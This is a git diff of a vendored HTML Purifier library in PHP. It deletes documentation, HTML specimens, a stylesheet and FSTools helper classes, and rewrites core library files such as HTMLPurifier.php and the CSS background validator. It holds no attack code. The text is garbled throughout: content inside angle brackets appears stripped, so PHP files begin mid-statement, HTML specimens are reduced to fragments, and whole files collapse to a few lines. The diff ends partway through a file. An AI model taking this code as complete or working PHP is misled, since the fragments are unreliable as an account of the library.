- -In short, the refactoring to take this into account kinda sucks. - -Errors should not be recorded in order that they are reported. Instead, they -should be bound to the line (and preferably element) in which they were found. -This means we need some way to uniquely identify every element in the document, -which doesn't presently exist. An easy way of adding this would be to track -line columns. An important ramification of this is that we *must* use the -DirectLex implementation. - - 1. Implement column numbers for DirectLex [DONE!] - 2. Disable error collection when not using DirectLex [DONE!] - -Next, we need to re-orient all of the error declarations to place CurrentToken -at utmost important. Since this is passed via Context, it's not always clear -if that's available. ErrorCollector should complain HARD if it isn't available. -There are some locations when we don't have a token available. These include: - - * Lexing - this can actually have a row and column, but NOT correspond to - a token - * End of document errors - bump this to the end - -Actually, we *don't* have to complain if CurrentToken isn't available; we just -set it as a document-wide error. And actually, nothing needs to be done here. - -Something interesting to consider is whether or not we care about the locations -of attributes and CSS properties, i.e. the sub-objects that compose these things. -In terms of consistency, at the very least attributes should have column/line -numbers attached to them. However, this may be overkill, as attributes are -uniquely identifiable. You could go even further, with CSS, but they are also -uniquely identifiable. - -Bottom-line is, however, this information must be available, in form of the -CurrentAttribute and CurrentCssProperty (theoretical) context variables, and -it must be used to organize the errors that the sub-processes may throw. -There is also a hierarchy of sorts that may make merging this into one context -variable more sense, if it hadn't been for HTML's reasonably rigid structure. -A CSS property will never contain an HTML attribute. So we won't ever get -recursive relations, and having multiple depths won't ever make sense. Leave -this be. - -We already have this information, and consequently, using start and end is -*unnecessary*, so long as the context variables are set appropriately. We don't -care if an error was thrown by an attribute transform or an attribute definition; -to the end user these are the same (for a developer, they are different, but -they're better off with a stack trace (which we should add support for) in such -cases). - - 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] - 4. Setup ErrorCollector to use context information to setup hierarchies. - This may require a different internal format. Use objects if it gets - complex. [DONE] - - ASIDE - More on this topic: since we are now binding errors to lines - and columns, a particular error can have three relationships to that - specific location: - - 1. The token at that location directly - RemoveForeignElements - AttrValidator (transforms) - MakeWellFormed - 2. A "component" of that token (i.e. attribute) - AttrValidator (removals) - 3. A modification to that node (i.e. contents from start to end - token) as a whole - FixNesting - - This needs to be marked accordingly. In the presentation, it might - make sense keep (3) separate, have (2) a sublist of (1). (1) can - be a closing tag, in which case (3) makes no sense at all, OR it - should be related with its opening tag (this may not necessarily - be possible before MakeWellFormed is run). - - So, the line and column counts as our identifier, so: - - $errors[$line][$col] = ... - - Then, we need to identify case 1, 2 or 3. They are identified as - such: - - 1. Need some sort of semaphore in RemoveForeignElements, etc. - 2. If CurrentAttr/CurrentCssProperty is non-null - 3. Default (FixNesting, MakeWellFormed) - - One consideration about (1) is that it usually is actually a - (3) modification, but we have no way of knowing about that because - of various optimizations. However, they can probably be treated - the same. The other difficulty is that (3) is never a line and - column; rather, it is a range (i.e. a duple) and telling the user - the very start of the range may confuse them. For example, - - Foo
    bar
    - ^ ^ - - The node being operated on is , so the error would be assigned - to the first caret, with a "node reorganized" error. Then, the - ChildDef would have submitted its own suggestions and errors with - regard to what's going in the internals. So I suppose this is - ok. :-) - - Now, the structure of the earlier mentioned ... would be something - like this: - - object { - type = (token|attr|property), - value, // appropriate for type - errors => array(), - sub-errors = [recursive], - } - - This helps us keep things agnostic. It is also sufficiently complex - enough to warrant an object. - -So, more wanking about the object format is in order. The way HTML Purifier is -currently setup, the only possible hierarchy is: - - token -> attr -> css property - -These relations do not exist all of the time; a comment or end token would not -ever have any attributes, and non-style attributes would never have CSS properties -associated with them. - -I believe that it is worth supporting multiple paths. At some point, we might -have a hierarchy like: - - * -> syntax - -> token -> attr -> css property - -> url - -> css stylesheet - - - -

    HTML align attribute to CSS

    - -

    Inspect source for methodology.

    - -
    -
    - HTML -
    -
    - CSS -
    -
    - -
    - -

    table.align

    - -

    left

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    center

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    right

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -
    - - - -
    -

    img.align

    -

    left

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    right

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    bottom

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    middle

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    top

    -
    -
    - aa -
    -
    - aa -
    -
    - -
    - - - -
    - -

    hr.align

    - -

    left

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    center

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    right

    -
    -
    -
    -
    -
    -
    -
    -
    - -
    - - - diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/img.png b/vendor/ezyang/htmlpurifier/docs/specimens/img.png deleted file mode 100644 index a755bcb5ed..0000000000 Binary files a/vendor/ezyang/htmlpurifier/docs/specimens/img.png and /dev/null differ diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html b/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html deleted file mode 100644 index 20d0072ef6..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - - -
    - -

    - -

     

    - -

    Name

    - -

    E-mail : mail@example.com

    - -

     

    - -

    Company

    - -

    Address 1

    - -

    Address 2

    - -

     

    - -

    Telefoon  : +xx xx xxx xxx xx

    - -

    Fax  : +xx xx xxx xx xx

    - -

    Internet : http://www.example.com

    - -

    Kamer van koophandel -xxxxxxxxx

    - -

     

    - -

    Op deze -e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
    -A disclaimer is applicable to this email, please -refer to www.example.com/disclaimer

    - -

     

    - -
    - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html deleted file mode 100644 index 6139081f6f..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - -
    Play -slideshow | Download the highest quality version of a picture by -clicking the + above it
    -
    -
      -
    1. Angry smile emoticonUn ka Tev iet, un ko tu dari? -
    2. Aha!
    - -
    - - - - - - -
    - -
    -
    This - is title for this - picture
    - -
    -
     
    -
    Online -pictures are available for 30 days. Get Windows Live Mail desktop to create -your own photo e-mails.
    diff --git a/vendor/ezyang/htmlpurifier/docs/style.css b/vendor/ezyang/htmlpurifier/docs/style.css deleted file mode 100644 index f771fcc672..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/style.css +++ /dev/null @@ -1,76 +0,0 @@ -html {font-size:1em; font-family:serif; } -body {margin-left:4em; margin-right:4em; } - -dt {font-weight:bold; } -pre {margin-left:2em; } -pre, code, tt {font-family:monospace; font-size:1em; } - -h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -/* For witty quips */ -.subtitled {margin-bottom:0em;} -.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; - font-style:italic; margin-top:-.2em;text-align:center;} -.subsubtitle {text-align:left;margin-left:2em;} - -/* Used for special "See also" links. */ -.reference {font-style:italic;margin-left:2em;} - -/* Marks off asides, discussions on why something is the way it is */ -.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } -blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; - border-bottom:1px solid #CCC;} -.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} - -/* A regular table */ -.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } -.table thead th {margin:0; background:#888; color:#FFF; } -.table thead th:first-child {-moz-border-radius-topleft:1em;} -.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} - -/* A quick table*/ -table.quick tbody th {text-align:right; padding-right:1em;} - -/* Category of the file */ -#filing {font-weight:bold; font-size:smaller; } - -/* Contains, without exception, Return to index. */ -#index {font-size:smaller; } - -#home {font-size:smaller;} - -/* Contains, without exception, $Id$, for SVN version info. */ -#version {text-align:right; font-style:italic; margin:2em 0;} - -#toc ol ol {list-style-type:lower-roman;} -#toc ol {list-style-type:decimal;} -#toc {list-style-type:upper-alpha;} - -q { - behavior: url(fixquotes.htc); /* IE fix */ - quotes: '\201C' '\201D' '\2018' '\2019'; -} -q:before { - content: open-quote; -} -q:after { - content: close-quote; -} - -/* Marks off implementation details interesting only to the person writing - the class described in the spec. */ -.technical {margin-left:2em; } -.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } - -/* Marks off sections that are lacking. */ -.fixme {margin-left:2em; } -.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } - -#applicability {margin: 1em 5%; font-style:italic;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php b/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php deleted file mode 100644 index 7890dbb7c1..0000000000 --- a/vendor/ezyang/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php +++ /dev/null @@ -1,91 +0,0 @@ -xsltProcessor = $proc; - } - - /** - * @note Allows a string $xsl filename to be passed - */ - public function importStylesheet($xsl) - { - if (is_string($xsl)) { - $xsl_file = $xsl; - $xsl = new DOMDocument(); - $xsl->load($xsl_file); - } - return $this->xsltProcessor->importStylesheet($xsl); - } - - /** - * Transforms an XML file into compatible XHTML based on the stylesheet - * @param $xml XML DOM tree, or string filename - * @return string HTML output - * @todo Rename to transformToXHTML, as transformToHTML is misleading - */ - public function transformToHTML($xml) - { - if (is_string($xml)) { - $dom = new DOMDocument(); - $dom->load($xml); - } else { - $dom = $xml; - } - $out = $this->xsltProcessor->transformToXML($dom); - - // fudges for HTML backwards compatibility - // assumes that document is XHTML - $out = str_replace('/>', ' />', $out); //
    not
    - $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns - - if (class_exists('Tidy')) { - // cleanup output - $config = array( - 'indent' => true, - 'output-xhtml' => true, - 'wrap' => 80 - ); - $tidy = new Tidy; - $tidy->parseString($out, $config, 'utf8'); - $tidy->cleanRepair(); - $out = (string) $tidy; - } - - return $out; - } - - /** - * Bulk sets parameters for the XSL stylesheet - * @param array $options Associative array of options to set - */ - public function setParameters($options) - { - foreach ($options as $name => $value) { - $this->xsltProcessor->setParameter('', $name, $value); - } - } - - /** - * Forward any other calls to the XSLT processor - */ - public function __call($name, $arguments) - { - call_user_func_array(array($this->xsltProcessor, $name), $arguments); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/extras/FSTools.php b/vendor/ezyang/htmlpurifier/extras/FSTools.php deleted file mode 100644 index 7fc427623d..0000000000 --- a/vendor/ezyang/htmlpurifier/extras/FSTools.php +++ /dev/null @@ -1,164 +0,0 @@ -mkdir($base); - } - $base .= DIRECTORY_SEPARATOR; - } - } - - /** - * Copy a file, or recursively copy a folder and its contents; modified - * so that copied files, if PHP, have includes removed - * @note Adapted from http://aidanlister.com/repos/v/function.copyr.php - */ - public function copyr($source, $dest) - { - // Simple copy for a file - if (is_file($source)) { - return $this->copy($source, $dest); - } - // Make destination directory - if (!is_dir($dest)) { - $this->mkdir($dest); - } - // Loop through the folder - $dir = $this->dir($source); - while ( false !== ($entry = $dir->read()) ) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - if (!$this->copyable($entry)) { - continue; - } - // Deep copy directories - if ($dest !== "$source/$entry") { - $this->copyr("$source/$entry", "$dest/$entry"); - } - } - // Clean up - $dir->close(); - return true; - } - - /** - * Overloadable function that tests a filename for copyability. By - * default, everything should be copied; you can restrict things to - * ignore hidden files, unreadable files, etc. This function - * applies to copyr(). - */ - public function copyable($file) - { - return true; - } - - /** - * Delete a file, or a folder and its contents - * @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php - */ - public function rmdirr($dirname) - { - // Sanity check - if (!$this->file_exists($dirname)) { - return false; - } - - // Simple delete for a file - if ($this->is_file($dirname) || $this->is_link($dirname)) { - return $this->unlink($dirname); - } - - // Loop through the folder - $dir = $this->dir($dirname); - while (false !== $entry = $dir->read()) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - // Recurse - $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry); - } - - // Clean up - $dir->close(); - return $this->rmdir($dirname); - } - - /** - * Recursively globs a directory. - */ - public function globr($dir, $pattern, $flags = NULL) - { - $files = $this->glob("$dir/$pattern", $flags); - if ($files === false) $files = array(); - $sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR); - if ($sub_dirs === false) $sub_dirs = array(); - foreach ($sub_dirs as $sub_dir) { - $sub_files = $this->globr($sub_dir, $pattern, $flags); - $files = array_merge($files, $sub_files); - } - return $files; - } - - /** - * Allows for PHP functions to be called and be stubbed. - * @warning This function will not work for functions that need - * to pass references; manually define a stub function for those. - */ - public function __call($name, $args) - { - return call_user_func_array($name, $args); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/extras/FSTools/File.php b/vendor/ezyang/htmlpurifier/extras/FSTools/File.php deleted file mode 100644 index 1cd75c649d..0000000000 --- a/vendor/ezyang/htmlpurifier/extras/FSTools/File.php +++ /dev/null @@ -1,141 +0,0 @@ -name = $name; - $this->fs = $fs ? $fs : FSTools::singleton(); - } - - /** Returns the filename of the file. */ - public function getName() {return $this->name;} - - /** Returns directory of the file without trailing slash */ - public function getDirectory() {return $this->fs->dirname($this->name);} - - /** - * Retrieves the contents of a file - * @todo Throw an exception if file doesn't exist - */ - public function get() - { - return $this->fs->file_get_contents($this->name); - } - - /** Writes contents to a file, creates new file if necessary */ - public function write($contents) - { - return $this->fs->file_put_contents($this->name, $contents); - } - - /** Deletes the file */ - public function delete() - { - return $this->fs->unlink($this->name); - } - - /** Returns true if file exists and is a file. */ - public function exists() - { - return $this->fs->is_file($this->name); - } - - /** Returns last file modification time */ - public function getMTime() - { - return $this->fs->filemtime($this->name); - } - - /** - * Chmod a file - * @note We ignore errors because of some weird owner trickery due - * to SVN duality - */ - public function chmod($octal_code) - { - return @$this->fs->chmod($this->name, $octal_code); - } - - /** Opens file's handle */ - public function open($mode) - { - if ($this->handle) $this->close(); - $this->handle = $this->fs->fopen($this->name, $mode); - return true; - } - - /** Closes file's handle */ - public function close() - { - if (!$this->handle) return false; - $status = $this->fs->fclose($this->handle); - $this->handle = false; - return $status; - } - - /** Retrieves a line from an open file, with optional max length $length */ - public function getLine($length = null) - { - if (!$this->handle) $this->open('r'); - if ($length === null) return $this->fs->fgets($this->handle); - else return $this->fs->fgets($this->handle, $length); - } - - /** Retrieves a character from an open file */ - public function getChar() - { - if (!$this->handle) $this->open('r'); - return $this->fs->fgetc($this->handle); - } - - /** Retrieves an $length bytes of data from an open data */ - public function read($length) - { - if (!$this->handle) $this->open('r'); - return $this->fs->fread($this->handle, $length); - } - - /** Writes to an open file */ - public function put($string) - { - if (!$this->handle) $this->open('a'); - return $this->fs->fwrite($this->handle, $string); - } - - /** Returns TRUE if the end of the file has been reached */ - public function eof() - { - if (!$this->handle) return true; - return $this->fs->feof($this->handle); - } - - public function __destruct() - { - if ($this->handle) $this->close(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php b/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php deleted file mode 100644 index 69fda66970..0000000000 --- a/vendor/ezyang/htmlpurifier/extras/HTMLPurifierExtras.auto.php +++ /dev/null @@ -1,11 +0,0 @@ -fopen(...). - This makes it a lot simpler to mock these filesystem calls for unit testing. - -- FSTools_File: This object represents a single file, and has almost any - method imaginable one would need. - -Check the files themselves for more information. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php index c810e87b6e..1960c399f8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php @@ -1,11 +1,11 @@ -purify($html, $config); -} - -// vim: et sw=4 sts=4 +purify($html, $config); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php index fcb3327e84..151e6752df 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.includes.php @@ -1,234 +1,234 @@ - $attributes) { - $allowed_elements[$element] = true; - foreach ($attributes as $attribute => $x) { - $allowed_attributes["$element.$attribute"] = true; - } - } - $config->set('HTML.AllowedElements', $allowed_elements); - $config->set('HTML.AllowedAttributes', $allowed_attributes); - if ($allowed_protocols !== null) { - $config->set('URI.AllowedSchemes', $allowed_protocols); - } - $purifier = new HTMLPurifier($config); - return $purifier->purify($string); -} - -// vim: et sw=4 sts=4 + $attributes) { + $allowed_elements[$element] = true; + foreach ($attributes as $attribute => $x) { + $allowed_attributes["$element.$attribute"] = true; + } + } + $config->set('HTML.AllowedElements', $allowed_elements); + $config->set('HTML.AllowedAttributes', $allowed_attributes); + if ($allowed_protocols !== null) { + $config->set('URI.AllowedSchemes', $allowed_protocols); + } + $purifier = new HTMLPurifier($config); + return $purifier->purify($string); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php index 353492a1cc..39b1b65319 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php @@ -1,11 +1,11 @@ -config = HTMLPurifier_Config::create($config); - $this->strategy = new HTMLPurifier_Strategy_Core(); - } - - /** - * Adds a filter to process the output. First come first serve - * - * @param HTMLPurifier_Filter $filter HTMLPurifier_Filter object - */ - public function addFilter($filter) - { - trigger_error( - 'HTMLPurifier->addFilter() is deprecated, use configuration directives' . - ' in the Filter namespace or Filter.Custom', - E_USER_WARNING - ); - $this->filters[] = $filter; - } - - /** - * Filters an HTML snippet/document to be XSS-free and standards-compliant. - * - * @param string $html String of HTML to purify - * @param HTMLPurifier_Config $config Config object for this operation, - * if omitted, defaults to the config object specified during this - * object's construction. The parameter can also be any type - * that HTMLPurifier_Config::create() supports. - * - * @return string Purified HTML - */ - public function purify($html, $config = null) - { - // :TODO: make the config merge in, instead of replace - $config = $config ? HTMLPurifier_Config::create($config) : $this->config; - - // implementation is partially environment dependant, partially - // configuration dependant - $lexer = HTMLPurifier_Lexer::create($config); - - $context = new HTMLPurifier_Context(); - - // setup HTML generator - $this->generator = new HTMLPurifier_Generator($config, $context); - $context->register('Generator', $this->generator); - - // set up global context variables - if ($config->get('Core.CollectErrors')) { - // may get moved out if other facilities use it - $language_factory = HTMLPurifier_LanguageFactory::instance(); - $language = $language_factory->create($config, $context); - $context->register('Locale', $language); - - $error_collector = new HTMLPurifier_ErrorCollector($context); - $context->register('ErrorCollector', $error_collector); - } - - // setup id_accumulator context, necessary due to the fact that - // AttrValidator can be called from many places - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - - $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context); - - // setup filters - $filter_flags = $config->getBatch('Filter'); - $custom_filters = $filter_flags['Custom']; - unset($filter_flags['Custom']); - $filters = array(); - foreach ($filter_flags as $filter => $flag) { - if (!$flag) { - continue; - } - if (strpos($filter, '.') !== false) { - continue; - } - $class = "HTMLPurifier_Filter_$filter"; - $filters[] = new $class; - } - foreach ($custom_filters as $filter) { - // maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat - $filters[] = $filter; - } - $filters = array_merge($filters, $this->filters); - // maybe prepare(), but later - - for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) { - $html = $filters[$i]->preFilter($html, $config, $context); - } - - // purified HTML - $html = - $this->generator->generateFromTokens( - // list of tokens - $this->strategy->execute( - // list of un-purified tokens - $lexer->tokenizeHTML( - // un-purified HTML - $html, - $config, - $context - ), - $config, - $context - ) - ); - - for ($i = $filter_size - 1; $i >= 0; $i--) { - $html = $filters[$i]->postFilter($html, $config, $context); - } - - $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context); - $this->context =& $context; - return $html; - } - - /** - * Filters an array of HTML snippets - * - * @param string[] $array_of_html Array of html snippets - * @param HTMLPurifier_Config $config Optional config object for this operation. - * See HTMLPurifier::purify() for more details. - * - * @return string[] Array of purified HTML - */ - public function purifyArray($array_of_html, $config = null) - { - $context_array = array(); - $array = array(); - foreach($array_of_html as $key=>$value){ - if (is_array($value)) { - $array[$key] = $this->purifyArray($value, $config); - } else { - $array[$key] = $this->purify($value, $config); - } - $context_array[$key] = $this->context; - } - $this->context = $context_array; - return $array; - } - - /** - * Singleton for enforcing just one HTML Purifier in your system - * - * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype - * HTMLPurifier instance to overload singleton with, - * or HTMLPurifier_Config instance to configure the - * generated version with. - * - * @return HTMLPurifier - */ - public static function instance($prototype = null) - { - if (!self::$instance || $prototype) { - if ($prototype instanceof HTMLPurifier) { - self::$instance = $prototype; - } elseif ($prototype) { - self::$instance = new HTMLPurifier($prototype); - } else { - self::$instance = new HTMLPurifier(); - } - } - return self::$instance; - } - - /** - * Singleton for enforcing just one HTML Purifier in your system - * - * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype - * HTMLPurifier instance to overload singleton with, - * or HTMLPurifier_Config instance to configure the - * generated version with. - * - * @return HTMLPurifier - * @note Backwards compatibility, see instance() - */ - public static function getInstance($prototype = null) - { - return HTMLPurifier::instance($prototype); - } -} - -// vim: et sw=4 sts=4 +config = HTMLPurifier_Config::create($config); + $this->strategy = new HTMLPurifier_Strategy_Core(); + } + + /** + * Adds a filter to process the output. First come first serve + * + * @param HTMLPurifier_Filter $filter HTMLPurifier_Filter object + */ + public function addFilter($filter) + { + trigger_error( + 'HTMLPurifier->addFilter() is deprecated, use configuration directives' . + ' in the Filter namespace or Filter.Custom', + E_USER_WARNING + ); + $this->filters[] = $filter; + } + + /** + * Filters an HTML snippet/document to be XSS-free and standards-compliant. + * + * @param string $html String of HTML to purify + * @param HTMLPurifier_Config $config Config object for this operation, + * if omitted, defaults to the config object specified during this + * object's construction. The parameter can also be any type + * that HTMLPurifier_Config::create() supports. + * + * @return string Purified HTML + */ + public function purify($html, $config = null) + { + // :TODO: make the config merge in, instead of replace + $config = $config ? HTMLPurifier_Config::create($config) : $this->config; + + // implementation is partially environment dependant, partially + // configuration dependant + $lexer = HTMLPurifier_Lexer::create($config); + + $context = new HTMLPurifier_Context(); + + // setup HTML generator + $this->generator = new HTMLPurifier_Generator($config, $context); + $context->register('Generator', $this->generator); + + // set up global context variables + if ($config->get('Core.CollectErrors')) { + // may get moved out if other facilities use it + $language_factory = HTMLPurifier_LanguageFactory::instance(); + $language = $language_factory->create($config, $context); + $context->register('Locale', $language); + + $error_collector = new HTMLPurifier_ErrorCollector($context); + $context->register('ErrorCollector', $error_collector); + } + + // setup id_accumulator context, necessary due to the fact that + // AttrValidator can be called from many places + $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); + $context->register('IDAccumulator', $id_accumulator); + + $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context); + + // setup filters + $filter_flags = $config->getBatch('Filter'); + $custom_filters = $filter_flags['Custom']; + unset($filter_flags['Custom']); + $filters = array(); + foreach ($filter_flags as $filter => $flag) { + if (!$flag) { + continue; + } + if (strpos($filter, '.') !== false) { + continue; + } + $class = "HTMLPurifier_Filter_$filter"; + $filters[] = new $class; + } + foreach ($custom_filters as $filter) { + // maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat + $filters[] = $filter; + } + $filters = array_merge($filters, $this->filters); + // maybe prepare(), but later + + for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) { + $html = $filters[$i]->preFilter($html, $config, $context); + } + + // purified HTML + $html = + $this->generator->generateFromTokens( + // list of tokens + $this->strategy->execute( + // list of un-purified tokens + $lexer->tokenizeHTML( + // un-purified HTML + $html, + $config, + $context + ), + $config, + $context + ) + ); + + for ($i = $filter_size - 1; $i >= 0; $i--) { + $html = $filters[$i]->postFilter($html, $config, $context); + } + + $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context); + $this->context =& $context; + return $html; + } + + /** + * Filters an array of HTML snippets + * + * @param string[] $array_of_html Array of html snippets + * @param HTMLPurifier_Config $config Optional config object for this operation. + * See HTMLPurifier::purify() for more details. + * + * @return string[] Array of purified HTML + */ + public function purifyArray($array_of_html, $config = null) + { + $context_array = array(); + $array = array(); + foreach($array_of_html as $key=>$value){ + if (is_array($value)) { + $array[$key] = $this->purifyArray($value, $config); + } else { + $array[$key] = $this->purify($value, $config); + } + $context_array[$key] = $this->context; + } + $this->context = $context_array; + return $array; + } + + /** + * Singleton for enforcing just one HTML Purifier in your system + * + * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype + * HTMLPurifier instance to overload singleton with, + * or HTMLPurifier_Config instance to configure the + * generated version with. + * + * @return HTMLPurifier + */ + public static function instance($prototype = null) + { + if (!self::$instance || $prototype) { + if ($prototype instanceof HTMLPurifier) { + self::$instance = $prototype; + } elseif ($prototype) { + self::$instance = new HTMLPurifier($prototype); + } else { + self::$instance = new HTMLPurifier(); + } + } + return self::$instance; + } + + /** + * Singleton for enforcing just one HTML Purifier in your system + * + * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype + * HTMLPurifier instance to overload singleton with, + * or HTMLPurifier_Config instance to configure the + * generated version with. + * + * @return HTMLPurifier + * @note Backwards compatibility, see instance() + */ + public static function getInstance($prototype = null) + { + return HTMLPurifier::instance($prototype); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php index 852a0b853c..a3261f8a32 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php @@ -1,228 +1,228 @@ - 1.0) { - $result = '1'; - } - return $result; - } -} - -// vim: et sw=4 sts=4 + 1.0) { + $result = '1'; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php index ecd6e276e9..7f1ea3b0f1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.php @@ -1,111 +1,111 @@ -getCSSDefinition(); - $this->info['background-color'] = $def->info['background-color']; - $this->info['background-image'] = $def->info['background-image']; - $this->info['background-repeat'] = $def->info['background-repeat']; - $this->info['background-attachment'] = $def->info['background-attachment']; - $this->info['background-position'] = $def->info['background-position']; - } - - /** - * @param string $string - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return bool|string - */ - public function validate($string, $config, $context) - { - // regular pre-processing - $string = $this->parseCDATA($string); - if ($string === '') { - return false; - } - - // munge rgb() decl if necessary - $string = $this->mungeRgb($string); - - // assumes URI doesn't have spaces in it - $bits = explode(' ', $string); // bits to process - - $caught = array(); - $caught['color'] = false; - $caught['image'] = false; - $caught['repeat'] = false; - $caught['attachment'] = false; - $caught['position'] = false; - - $i = 0; // number of catches - - foreach ($bits as $bit) { - if ($bit === '') { - continue; - } - foreach ($caught as $key => $status) { - if ($key != 'position') { - if ($status !== false) { - continue; - } - $r = $this->info['background-' . $key]->validate($bit, $config, $context); - } else { - $r = $bit; - } - if ($r === false) { - continue; - } - if ($key == 'position') { - if ($caught[$key] === false) { - $caught[$key] = ''; - } - $caught[$key] .= $r . ' '; - } else { - $caught[$key] = $r; - } - $i++; - break; - } - } - - if (!$i) { - return false; - } - if ($caught['position'] !== false) { - $caught['position'] = $this->info['background-position']-> - validate($caught['position'], $config, $context); - } - - $ret = array(); - foreach ($caught as $value) { - if ($value === false) { - continue; - } - $ret[] = $value; - } - - if (empty($ret)) { - return false; - } - return implode(' ', $ret); - } -} - -// vim: et sw=4 sts=4 +getCSSDefinition(); + $this->info['background-color'] = $def->info['background-color']; + $this->info['background-image'] = $def->info['background-image']; + $this->info['background-repeat'] = $def->info['background-repeat']; + $this->info['background-attachment'] = $def->info['background-attachment']; + $this->info['background-position'] = $def->info['background-position']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // munge rgb() decl if necessary + $string = $this->mungeRgb($string); + + // assumes URI doesn't have spaces in it + $bits = explode(' ', $string); // bits to process + + $caught = array(); + $caught['color'] = false; + $caught['image'] = false; + $caught['repeat'] = false; + $caught['attachment'] = false; + $caught['position'] = false; + + $i = 0; // number of catches + + foreach ($bits as $bit) { + if ($bit === '') { + continue; + } + foreach ($caught as $key => $status) { + if ($key != 'position') { + if ($status !== false) { + continue; + } + $r = $this->info['background-' . $key]->validate($bit, $config, $context); + } else { + $r = 